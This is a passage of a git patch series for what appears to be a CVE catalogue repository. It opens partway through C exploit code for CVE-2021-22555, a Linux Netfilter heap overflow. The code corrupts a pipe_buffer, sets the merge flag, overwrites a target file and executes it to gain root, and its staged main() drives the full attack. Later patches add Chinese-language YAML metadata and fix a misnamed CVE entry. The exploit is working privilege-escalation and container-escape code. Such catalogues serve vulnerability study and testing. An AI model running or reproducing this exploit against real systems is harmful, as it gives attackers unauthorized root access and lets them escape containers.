typ_pipe_buffer *ptr = (struct typ_pipe_buffer *)g_buff; + if (ptr[1].len == 1 && ptr[1].offset == 1) { + // find pipe_buffer + memcpy(bak_pipe_buff, ptr, sizeof(bak_pipe_buff)); + uaf_pipe_idx = ptr[0].len & 0xff; + } + } + } + } + if (uaf_pipe_idx < 0) { + die("can't find corrupted pipe_buffer"); + } + + logd("editing pipe_buffer ..."); + { + struct typ_pipe_buffer *ptr = (struct typ_pipe_buffer *)bak_pipe_buff; + ptr[1].flags = PIPE_BUF_FLAG_CAN_MERGE; // for kernel >= 5.8 + ptr[1].len = 0; + ptr[1].offset = 0; + ptr[1].ops = ptr[0].ops; // for kernel < 5.8 + } + spray_skbuff_data(bak_pipe_buff, sizeof(bak_pipe_buff) - SIZEOF_SKB_SHARED_INFO); + + logd("try to overwrite %s", ATTACK_FILE); + { + ssize_t nbytes = write(pipes[uaf_pipe_idx][1], attack_data, sizeof(attack_data)); + if (nbytes < 0) { + perror("write failed"); + die(); + } + if ((size_t)nbytes < sizeof(attack_data)) { + fprintf(stderr, "short write\n"); + die(); + } + } + + logd("see if %s changed", ATTACK_FILE); + { + int fd = open(ATTACK_FILE, O_RDONLY); + if (fd < 0) { + die("open attack file"); + } + char tmp_buffer[0x10]; + read(fd, tmp_buffer, 0x10); + uint32_t *ptr = (uint32_t *)(tmp_buffer + 9); + if (ptr[0] != 0x56565656) { + die("overwrite attack file failed: 0x%08x", ptr[0]); + } + } + logi("exploit success"); +} + +int main(void) { + pipe(sync_pipe); + + if (!fork()) { + logi("STAGE 0: Initialization"); + do_initialization(); + + logi("STAGE 1: Memory corruption"); + do_memory_corruption(); + + logi("STAGE 2: Leak chunk address"); + do_leak(); + + logi("STAGE 3: Do pipe primitive"); + do_pipe_primitive(); + + write(sync_pipe[1], "T", 1); + while (1) { + sleep(10); + } + } else { + char sync; + read(sync_pipe[0], &sync, 1); + if (sync == 'T') { + execl(ATTACK_FILE, ATTACK_FILE, NULL); + } + } + return 0; +} diff --git a/cve/linux-kernel/2021/yaml/CVE-2022-0185.yaml b/cve/linux-kernel/2021/yaml/CVE-2022-0185.yaml new file mode 100644 index 00000000..151aca3d --- /dev/null +++ b/cve/linux-kernel/2021/yaml/CVE-2022-0185.yaml @@ -0,0 +1,20 @@ +id: CVE-2021-22555 +source: https://github.com/veritas501/CVE-2022-0185-PipeVersion +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: 高危 + description: | + Linux Netfilter模块在实现IPT_SO_SET_REPLACE(或IP6T_SO_SET_REPLACE)setsockopt时,存在堆越界写入漏洞。该漏洞将允许本地用户通过用户名空间获取权限提升,在kCTF中被用于攻击Kubernetes Pod容器,实现容器逃逸。该漏洞已在Linux内核代码中存在15年。 + scope-of-influence: + v2.6.19-rc1~v5.12-rc7 + reference: + - http://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2021-22555 + - https://nvd.nist.gov/vuln/detail/CVE-2021-22555 + - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/x_tables.c?id=9fa492cdc160cd27ce1046cb36f47d3b2b1efa21 + - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/x_tables.c?id=b29c457a6511435960115c0f548c4360d5f4801d + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2021-22555 + cwe-id: CWE-787 + tags: cve2021,权限提升,容器逃逸 \ No newline at end of file diff --git a/vulnerability_list.yaml b/vulnerability_list.yaml index 2d3b76a6..16e6950d 100644 --- a/vulnerability_list.yaml +++ b/vulnerability_list.yaml @@ -3,6 +3,7 @@ cve: apache: - CVE-2020-9490 linux-kernel: + - CVE-2022-0185 - CVE-2022-34918 - CVE-2022-2639 - CVE-2022-0847 -- Gitee From 628cc1668bc72be084e74f56e7a34b442b0f5fed Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Fri, 21 Oct 2022 16:26:31 +0800 Subject: [PATCH 2/5] UPDATE CVE-2021-22555 --- .../2021/yaml/{CVE-2022-0185.yaml => CVE-2021-22555.yaml} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename cve/linux-kernel/2021/yaml/{CVE-2022-0185.yaml => CVE-2021-22555.yaml} (100%) diff --git a/cve/linux-kernel/2021/yaml/CVE-2022-0185.yaml b/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml similarity index 100% rename from cve/linux-kernel/2021/yaml/CVE-2022-0185.yaml rename to cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml -- Gitee From d132dec1ec12f5e9d23632ae82b1c1125480707c Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Fri, 21 Oct 2022 16:30:15 +0800 Subject: [PATCH 3/5] UPDATE CVE-2021-22555 --- vulnerability_list.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vulnerability_list.yaml b/vulnerability_list.yaml index 16e6950d..3d2b0df5 100644 --- a/vulnerability_list.yaml +++ b/vulnerability_list.yaml @@ -3,7 +3,7 @@ cve: apache: - CVE-2020-9490 linux-kernel: - - CVE-2022-0185 + - CVE-2021-22555 - CVE-2022-34918 - CVE-2022-2639 - CVE-2022-0847 -- Gitee From 4f74e19303d2542a334910bd673ef2c8c37e1a74 Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Fri, 21 Oct 2022 16:36:17 +0800 Subject: [PATCH 4/5] UPDATE CVE-2021-22555 --- cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml b/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml index 151aca3d..485ec0dd 100644 --- a/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml +++ b/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml @@ -1,5 +1,5 @@ id: CVE-2021-22555 -source: https://github.com/veritas501/CVE-2022-0185-PipeVersion +source: https://github.com/veritas501/CVE-2021-22555-PipeVersion info: name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 severity: 高危 -- Gitee From 1f4f4efc1a3c141c7cae626bd69584bb29561a45 Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Fri, 21 Oct 2022 16:38:26 +0800 Subject: [PATCH 5/5] UPDATE CVE-2021-22555 --- cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml b/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml index 485ec0dd..2be396cf 100644 --- a/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml +++ b/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml @@ -2,7 +2,7 @@ id: CVE-2021-22555 source: https://github.com/veritas501/CVE-2021-22555-PipeVersion info: name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 - severity: 高危 + severity: high description: | Linux Netfilter模块在实现IPT_SO_SET_REPLACE(或IP6T_SO_SET_REPLACE)setsockopt时,存在堆越界写入漏洞。该漏洞将允许本地用户通过用户名空间获取权限提升,在kCTF中被用于攻击Kubernetes Pod容器,实现容器逃逸。该漏洞已在Linux内核代码中存在15年。 scope-of-influence: -- Gitee